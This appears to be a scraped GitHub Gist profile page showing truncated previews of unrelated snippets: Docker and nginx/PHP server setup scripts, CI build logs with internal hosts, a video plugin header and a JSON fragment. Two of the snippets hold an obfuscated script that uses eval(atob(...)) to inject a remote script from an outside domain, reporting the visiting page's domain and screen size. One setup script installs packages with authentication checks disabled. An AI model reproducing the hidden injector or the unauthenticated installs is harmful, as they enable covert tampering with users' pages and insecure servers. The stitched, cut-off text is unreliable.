Skip to content

Instantly share code, notes, and snippets.

View dimassrio's full-sized avatar

Dimas Satrio dimassrio

View GitHub Profile
@dimassrio
dimassrio / backend.sh
Created December 28, 2022 06:53
e-arsip deployment
sudo curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
docker-compose --version
docker-compose up -d
simple 21-Nov-2022 10:28:35 Build BRICaMS ADDONS Build - Wailord - Dev - feature-limit-********ment - install and build #1 (ADDONS-WD6-JOB1-1) started building on agent 172.18.47.128_BRICAMS2, bamboo version: 8.0.0
simple 21-Nov-2022 10:28:35 Remote agent on host localhost
simple 21-Nov-2022 10:28:35 Build working directory is /home/bribambormtadm128/bamboo-agent-new-home-02/xml-data/build-dir/ADDONS-WD6-JOB1
simple 21-Nov-2022 10:28:35 Executing build BRICaMS ADDONS Build - Wailord - Dev - feature-limit-********ment - install and build #1 (ADDONS-WD6-JOB1-1)
simple 21-Nov-2022 10:28:35 Starting task 'Checkout Code' of type 'com.atlassian.bamboo.plugins.vcs:task.vcs.checkout'
simple 21-Nov-2022 10:28:35 Checking out into /home/bribambormtadm128/bamboo-agent-new-home-02/xml-data/build-dir/ADDONS-WD6-JOB1
simple 21-Nov-2022 10:28:35 Updating source code to revision: 61025a46869222b70fd87e7cbb401314da4a5b81
simple 21-Nov-2022 10:28:35 /usr/bin/git log -1 --encoding=UTF-8 --format=%H HEAD
simple 21-Nov-2022 10:28
simple 21-Nov-2022 10:31:58 Build BRICaMS ADDONS Build - Wailord - Dev - feat-mytask 1 - install and build #1 (ADDONS-WD10-JOB1-1) started building on agent 172.18.47.128_BRICAMS3, bamboo version: 8.0.0
simple 21-Nov-2022 10:31:58 Remote agent on host localhost
simple 21-Nov-2022 10:31:58 Build working directory is /home/bribambormtadm128/bamboo-agent-new-home-03/xml-data/build-dir/ADDONS-WD10-JOB1
simple 21-Nov-2022 10:31:58 Executing build BRICaMS ADDONS Build - Wailord - Dev - feat-mytask 1 - install and build #1 (ADDONS-WD10-JOB1-1)
simple 21-Nov-2022 10:31:58 Starting task 'Checkout Code' of type 'com.atlassian.bamboo.plugins.vcs:task.vcs.checkout'
simple 21-Nov-2022 10:31:58 Checking out into /home/bribambormtadm128/bamboo-agent-new-home-03/xml-data/build-dir/ADDONS-WD10-JOB1
simple 21-Nov-2022 10:31:58 Updating source code to revision: 5824b43b6a3896b69e81ec5d28b859025b7cd6cd
simple 21-Nov-2022 10:31:58 Fetching 'refs/heads/*' from 'ssh://[email protected]:7999/addons/addons-wailord.git'.
simple
/*
* videojs-ga-videocloud - v0.5.4 - 2018-10-07
* Based on videojs-ga 0.4.2
* https://github.com/BrightcoveOS/videojs-ga-videocloud
* Copyright (c) 2018 Michael Bensoussan
* Licensed MIT
*/
(function () {
var registerPlugin,
__indexOf = [].indexOf || function (item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i } return -1 }
#!/usr/bin/env bash
#
# Script to create virtual host for Nginx server
#
# @author Raj KB <[email protected]>
# @website http://www.magepsycho.com
# @version 1.2.0
# UnComment it if bash is lower than 4.x version
apt-get update
apt-get upgrade
apt-get install -y -- allow-unauthenticated nginx software-properties-common python-software-properties unzip
add-apt-repository -y ppa:ondrej/php
apt-get update
apt-get install -y --allow-unauthenticated php7.2-fpm php7.2-cli php7.2-mysql php7.2-pgsql php7.2-xml php7.2-mbstring php7.2-zip php7.2-curl
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php -r "if (hash_file('sha384', 'composer-setup.php') === '93b54496392c062774670ac18b134c3b3a95e5a5e5c8f1a9f115f203b75bf9a129d5daa8ba6a13e2cc8a1da0806388a8') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
php composer-setup.php --install-dir=/usr/local/bin --filename=composer
php -r "unlink('composer-setup.php');"
We couldn’t find that file to show.
before!<body!<script type=\"text/javascript\">
if (self == top) {
eval(atob('ZnVuY3Rpb24gbmV0YnJvX2NhY2hlX2FuYWx5dGljcyhmbiwgY2FsbGJhY2spIHsgc2V0VGltZW91dChmdW5jdGlvbiAoKSB7IGZuKCk7IGNhbGxiYWNrKCk7IH0sIDApO31mdW5jdGlvbiBzeW5jKGZuKSB7IGZuKCk7IH0='));
function requestCfs() {
eval(atob('dmFyIGlkY19nbG9fdXJsID0gKGxvY2F0aW9uLnByb3RvY29sID09Imh0dHBzOiIgPyAiaHR0cHM6Ly8iIDogImh0dHA6Ly8iKTt2YXIgaWRjX2dsb19yID0gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKjk5OTk5OTk5OTk5KTs='));
var url = idc_glo_url+'cfs.uzone.id/2fn7a2/request?id=1&enc=9UwkxLgY9&params=F5_CONTENT&idc_r='+idc_glo_r+'&domain='+document.domain+'&sw='+screen.width+'&sh='+screen.height;
eval(atob('dmFyIGJzYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO2JzYS50eXBlID0gJ3RleHQvamF2YXNjcmlwdCc7YnNhLmFzeW5jID0gdHJ1ZTtic2Euc3JjID0gdXJsOyhkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpWzBdfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnYm9keScpWzBdKS5hcHBlbmRDaGlsZChic2EpO31uZXRicm9fY2FjaGVfYW5hbHl0aWNzKHJlcXVlc3RDZnMsIGZ1bmN0aW9uKCl7fSk7'));
}
}
</script
data "before!<body!<script type=\"text\/javascript\">eval(atob(\"aWYgKHNlbGY9PXRvcCkge2Z1bmN0aW9uIG5ldGJyb19jYWNoZV9hbmFseXRpY3MoZm4sIGNhbGxiYWNrKSB7c2V0VGltZW91dChmdW5jdGlvbigpIHtmbigpO2NhbGxiYWNrKCk7fSwgMCk7fWZ1bmN0aW9uIHN5bmMoZm4pIHtmbigpO31mdW5jdGlvbiByZXF1ZXN0Q2ZzKCl7dmFyIGlkY19nbG9fdXJsID0gKGxvY2F0aW9uLnByb3RvY29sPT0iaHR0cHM6IiA/ICJodHRwczovLyIgOiAiaHR0cDovLyIpO3ZhciBpZGNfZ2xvX3IgPSBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqOTk5OTk5OTk5OTkpO3ZhciB1cmwgPSBpZGNfZ2xvX3VybCsgImNmcy51em9uZS5pZC8yZm43YTIvcmVxdWVzdCIgKyAiP2lkPTEiICsgIiZlbmM9OVV3a3hMZ1k5IiArICImcGFyYW1zPSIgKyAiRjVfQ09OVEVOVCIgKyAiJmlkY19yPSIraWRjX2dsb19yICsgIiZkb21haW49Iitkb2N1bWVudC5kb21haW4gKyAiJnN3PSIrc2NyZWVuLndpZHRoKyImc2g9IitzY3JlZW4uaGVpZ2h0O3ZhciBic2EgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtic2EudHlwZSA9ICd0ZXh0L2phdmFzY3JpcHQnO2JzYS5hc3luYyA9IHRydWU7YnNhLnNyYyA9IHVybDsoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKVswXXx8ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2JvZHknKVswXSkuYXBwZW5kQ2hpbGQoYnNhKTt9bmV0YnJvX2NhY2hlX2FuYWx5dGljcyhyZXF
"product" : {
"name" : "product 1",
"slug" : "product-1",
"description" : "product 1 description",
"image" : "http://xxx.xxx",
"icon" : "http://xxx.xxx" // fontawesome symbol,
"size": 1,
"side": 1,
"finishing" : [{"name": "finishing 1", "price": 100, "minCharge": 10000}],
"grammature" : [1,2,3]